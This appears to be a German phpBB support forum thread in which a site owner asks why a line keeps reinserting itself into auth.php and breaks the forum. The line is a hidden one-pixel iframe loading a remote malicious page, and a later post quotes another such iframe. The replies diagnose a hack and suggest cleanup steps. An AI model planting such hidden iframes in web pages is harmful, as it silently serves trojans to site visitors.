Code fügt sich immer von selbst ein

[smoochy]

Hallo Zusammen.

Weis zwar nicht ob das thema schon mal gab, wenn ja tuts mir leid das ich ein neues aufgemacht habe und Bitte das zu endschuldigen.

Mein Forum Läuft jetzt nun seid übe reinem Jahr Absolut Fehlerfrei, aber von heut auf morgen ohne das ich irgend was gemacht habe Stürzt es immer ab und komm einfach nicht dahinter warum dies so ist.

Es wird immer wieder wenn ich das Forum aufrufe oben im Header Volgende Fehler meldung angezeigt.

Warning: Cannot modify header information - headers already sent by (output started at /is/htdocs/wp1036098_ZQUX13HC7P/phpBB2/includes/auth.php:328) in /is/htdocs/wp1036098_ZQUX13HC7P/phpBB2/includes/sessions.php on line 254

Warning: Cannot modify header information - headers already sent by (output started at /is/htdocs/wp1036098_ZQUX13HC7P/phpBB2/includes/auth.php:328) in /is/htdocs/wp1036098_ZQUX13HC7P/phpBB2/includes/sessions.php on line 255

Warning: Cannot modify header information - headers already sent by (output started at /is/htdocs/wp1036098_ZQUX13HC7P/phpBB2/includes/auth.php:328) in /is/htdocs/wp1036098_ZQUX13HC7P/phpBB2/includes/page_header.php on line 479

Warning: Cannot modify header information - headers already sent by (output started at /is/htdocs/wp1036098_ZQUX13HC7P/phpBB2/includes/auth.php:328) in /is/htdocs/wp1036098_ZQUX13HC7P/phpBB2/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at /is/htdocs/wp1036098_ZQUX13HC7P/phpBB2/includes/auth.php:328) in /is/htdocs/wp1036098_ZQUX13HC7P/phpBB2/includes/page_header.php on line 486

Ich weis zwar wie ich denn Fehler beheben kann und zwar wenn ich in der auth.php ganz unten einen code rausnehme der irgend wie immer von selbst wieder eingefügt wird und zwar sieht da so aus.

?><iframe src='http://IP-Entfernt-durch-Dr.Death/logo/index.php' width='1' height='1' style='visibility: hidden;'></iframe>

Eigendlich solte es Hier mit enden ?>

Aber nach dem ?>
Fügt er immer von selbst

<iframe src='http://IP-Entfernt-durch-Dr.Death/logo/index.php' width='1' height='1' style='visibility: hidden;'></iframe>

Ein.

Ich komm einfach nicht dahinter warum das so ist hoffe hier auf hilfe weil ich echt am verzweifeln bin und ich nicht dahinter Komme.
Ich bedanke mich schon mal

Lg Jens

[Dave]

Hi

Hast du die aktuellen Foren Software installiert? Weil das gehört auf jeden fall nicht dahin. Lade die auth.php nochmal neu hoch.

MfG
Dave

EDIT: Ich gehe mal stark davon aus das dein Forum gehackt wurde. KB:gehackt

[Miriam]

Benutzt doch mal die Suche..... Klick

[smoochy]

Hallo

Ja die aktuelle Forensofware ist drauf und die auth.php hab eich auch desöfteren neu geladen kahm aber imme rwieder

[Miriam]

Benutzt doch mal die Suche..... Klick

[smoochy]

oh sry hab ich jetzt erst gesehen vielen vielen dank, werde es mir mal alles genau dursch Lesen.

[Valkox]

@smoochy


Ich habegerade diesen trage gesehen und muss dir sagen
das der Fame einen irus weiter leitet.

ich selber war davon betroffen und egalwie offtdu diesen frame entferntst,
er kommt immer wieder.

Alle Index.php/htm/html sind davon betroffen.

um das hin zu bekmmen, laufen angriffe über ssh2 über eienen
sever mit der IP 217.72.130.81.

Schau mal in deinen FTP logfiles
der Server gehört NetGate und hatte schon das vergnügen mit denen.
Sind sehr kompetent gewesen und der Support, hatte dies geschrieben.

Netgate Support
Sehr geehrter Herr XXX,
Danke für die Informationen. Wir haben den Rechner gleich nach unserem Gespräch
untersucht und Hinweise für illegales Verhalten gefunden. Die Maschine wurde
gesperrt.


Ich rate Dir wenn du einen eigenen server besitzt, allesneu auf zu spielen
oder deine Orignal Dateien von anfang zu verwenden.
Wenn der virus drauf ist, sucht er deine FTP zugangsdaten von FileZilar odernimmt diesevom server selber wenn der angriff gelingt.

Nach der perrung, habe ich schon wenigstens ruhe und habe selber die Ipgesperrt.

Viel erfolg
valkox

[cYbercOsmOnauT]

Alles neu aufspielen ist meist nicht wirklich nötig. Prüf mal Deine crontab, ob da irgendwo ein cronjob läuft der ständig die Scripte checkt und den Zusatz hinzupackt (ist meist eine .sh die dort geladen wird, oder eine .pl)

[bill9000]

Hallo Zusammen....
Aber nach dem ?>
Fügt er immer von selbst

<iframe src='http://81.95.149.27/logo/index.php' width='1' height='1' style='visibility: hidden;'></iframe>

Ein.

Ich komm einfach nicht dahinter warum das so ist hoffe hier auf hilfe weil ich echt am verzweifeln bin und ich nicht dahinter Komme.
Ich bedanke mich schon mal

Lg Jens

und? hat sich das problem gelöst?

sonst hilft dir vielleicht das hier weiter:

Schaust Du hier -> Klick

ich nehme einmal an,
du beziehst dich auf diese passage:

Hi,
erstellt mal eine .htaccess Datei.

Und schreibt mal folgendes hinein...
Die kommt in den includes Ordner.

.

Rückmeldung:

nachdem ich die .htaccess datei mit obigem inhalt

<FilesMatch "\.php$" >
deny from all
</FilesMatch>

erstellt und in den includes ordner hochgeladen habe,
ist das problem nicht wiedergekeht.(dank an knut77 !)

wie aus dem zitat schon hervorgehend: ich hatte ein ähnliches problem:
die zeile, welche angehängt wurde war zwar eine andere,

(<html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html> ),

aber der fehlerauslöser (zugefügten zeile mit link) ist wohl der gleiche.

guggst du hier:
http://www.phpbb.de/viewtopic.php?t=148 ... er+already

[smoochy]

Ja das Problem hat sich behoben
hab meine Reschner neu aufgesetzt, Habe Antivier dursch Kaspersky ersetzt und mein ftp pw geändert sei dem Läuft es Stabiel verstehe das Problem zwar nicht aber es läuft jetzt wieder. Der Fehler wird wohl immer hier von verursacht

gefunden: trojanisches Programm Trojan-Downloader.JS.Agent.ep URL: http://IP-unkenntlich-gemacht-Dr.Death/logo/index.php

Das lezte war im übringen auch das was er imme rvon selbst eingefügt hat